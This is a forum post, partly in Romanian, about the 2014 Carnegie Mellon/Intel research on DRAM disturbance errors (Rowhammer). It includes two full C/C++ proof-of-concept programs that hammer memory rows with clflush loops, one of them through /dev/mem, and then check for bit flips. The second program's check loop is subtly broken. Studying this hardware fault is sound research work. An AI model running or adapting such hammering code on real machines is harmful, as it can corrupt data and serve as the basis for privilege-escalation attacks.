Jump to content
kornos

Flipping bits in memory without accessing them

Recommended Posts

Posted (edited)

Researchers from Carnegie Mellon and Intel report that a large percentage of tested regular DDR3 modules flip bits in adjacent rows (PDF) when a voltage in a certain control line is forced to fluctuate. The program that triggers this is dead simple — just two memory reads with special relative offset and some cache control instructions in a tight loop. The researchers don't delve deeply into applications of this, but hint at possible security exploits.

https://www.ece.cmu.edu/~safari/pubs/kim-isca14.pdf

Ar fi interesant daca ar merge chestia asta.

Uite si 3 PoC , le puteti incerca si sa spuneti ce mesaje au dat?

Later edit: upgraded PoC versions

g++ -O2 mem_bitflip1.cc

------------------------------------

// This is required on Mac OS X for getting PRI* macros #defined.

#define __STDC_FORMAT_MACROS

#include <assert.h>

#include <inttypes.h>

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/time.h>

#include <sys/wait.h>

#include <time.h>

#include <unistd.h>

const size_t mem_size = 1 << 30;

const int toggles = 540000;

char *g_mem;

char *pick_addr() {

size_t offset = (rand() << 12) % mem_size;

return g_mem + offset;

}

class Timer {

struct timeval start_time_;

public:

Timer() {

// Note that we use gettimeofday() (with microsecond resolution)

// rather than clock_gettime() (with nanosecond resolution) so

// that this works on Mac OS X, because OS X doesn't provide

// clock_gettime() and we don't really need nanosecond resolution.

int rc = gettimeofday(&start_time_, NULL);

assert(rc == 0);

}

double get_diff() {

struct timeval end_time;

int rc = gettimeofday(&end_time, NULL);

assert(rc == 0);

return (end_time.tv_sec - start_time_.tv_sec

+ (double) (end_time.tv_usec - start_time_.tv_usec) / 1e6);

}

void print_iters(uint64_t iterations) {

double total_time = get_diff();

double iter_time = total_time / iterations;

printf(" %.3f nanosec per iteration: %g sec for %" PRId64 " iterations\n",

iter_time * 1e9, total_time, iterations);

}

};

static void toggle(int iterations, int addr_count) {

Timer t;

for (int j = 0; j < iterations; j++) {

uint32_t *addrs[addr_count];

for (int a = 0; a < addr_count; a++)

addrs[a] = (uint32_t *) pick_addr();

uint32_t sum = 0;

for (int i = 0; i < toggles; i++) {

for (int a = 0; a < addr_count; a++)

sum += *addrs[a] + 1;

for (int a = 0; a < addr_count; a++)

asm volatile("clflush (%0)" : : "r" (addrs[a]) : "memory");

}

// Sanity check. We don't expect this to fail, because reading

// these rows refreshes them.

if (sum != 0) {

printf("error: sum=%x\n", sum);

exit(1);

}

}

t.print_iters(iterations * addr_count * toggles);

}

void main_prog() {

g_mem = (char *) mmap(NULL, mem_size, PROT_READ | PROT_WRITE,

MAP_ANON | MAP_PRIVATE, -1, 0);

assert(g_mem != MAP_FAILED);

printf("clear\n");

memset(g_mem, 0xff, mem_size);

Timer t;

int iter = 0;

while(1) {

printf("Iteration %i (after %.2fs)\n", iter++, t.get_diff());

toggle(10, 8);

Timer check_timer;

printf("check\n");

uint64_t *end = (uint64_t *) (g_mem + mem_size);

uint64_t *ptr;

int errors = 0;

for (ptr = (uint64_t *) g_mem; ptr < end; ptr++) {

uint64_t got = *ptr;

if (got != ~(uint64_t) 0) {

printf("error at %p: got 0x%" PRIx64 "\n", ptr, got);

errors++;

}

}

printf(" (check took %fs)\n", check_timer.get_diff());

if (errors)

exit(1);

}

}

int main() {

// In case we are running as PID 1, we fork() a subprocess to run

// the test in. Otherwise, if process 1 exits or crashes, this will

// cause a kernel panic (which can cause a reboot or just obscure

// log output and prevent console scrollback from working).

int pid = fork();

if (pid == 0) {

main_prog();

_exit(1);

}

int status;

if (waitpid(pid, &status, 0) == pid) {

printf("** exited with status %i (0x%x)\n", status, status);

}

while(1) {

sleep(999);

}

return 0;

}

gcc -O2 mem_bitflip2.c

-----------------------

/* -*- linux-c -*-

*

* Try to trigger DRAM disturbance errors, as described in

*

* https://www.ece.cmu.edu/~safari/pubs/kim-isca14.pdf

*

* Copyright 2014 Pavel Machek <pavel@ucw.cz>, GPLv2+.

*

* You need to run this on cca 2GB machine, or adjust size below.

* CONFIG_STRICT_DEVMEM must not be set.

* Boot with "nopat mem=2G"

*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <errno.h>

void disturb(char *w1, char *w2)

{

/* As far as I could tell... this loop should be run for

cca 128msec, to run for one full refresh cycle. */

unsigned int i;

for (i=0; i< 672000; i++) {

__asm__ __volatile__(

"movl 0(%0), %%eax \n" \

"movl 0(%1), %%eax \n" \

"clflush 0(%0) \n" \

"clflush 0(%1) \n" \

"mfence"

:: "r" (w1), "r" (w2)

: "eax"

);

}

}

int main(int argc, char *argv[])

{

/* Ok, so we have one memory for checking, but we do need direct access

to /dev/mem to access physical memory.

/* This needs at least 2GB RAM machine */

long size = 1*1024*1024*1024;

long i;

unsigned char *mem, *map;

int fd;

if (size & (size-1)) {

printf("Need power of two size\n");

return 1;

}

mem = malloc(size);

memset(mem, 0xff, size);

fd = open("/dev/mem", O_RDONLY);

// fd = open("/tmp/delme", O_RDONLY);

errno = 0;

/* We want to avoid low 1MB */

map = mmap(NULL, size, PROT_READ, MAP_SHARED, fd, 1*1024*1024);

if (errno) {

printf("Can not mmap ram: %m\n");

return 1;

}

/* DRAM operates by whole cachelines, so it should not matter

which byte in cacheline we access.

*/

#define MEG8 (8*1024*1024)

for (i=0; i<(size-MEG8)/100; i+=4096-64)

disturb(map+i, map+i+MEG8);

for (i=0; i<size; i++)

if (mem != 0xff)

printf("At %lx, got %x\n", i, mem);

}

Edited by kornos
upgrade PoC

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...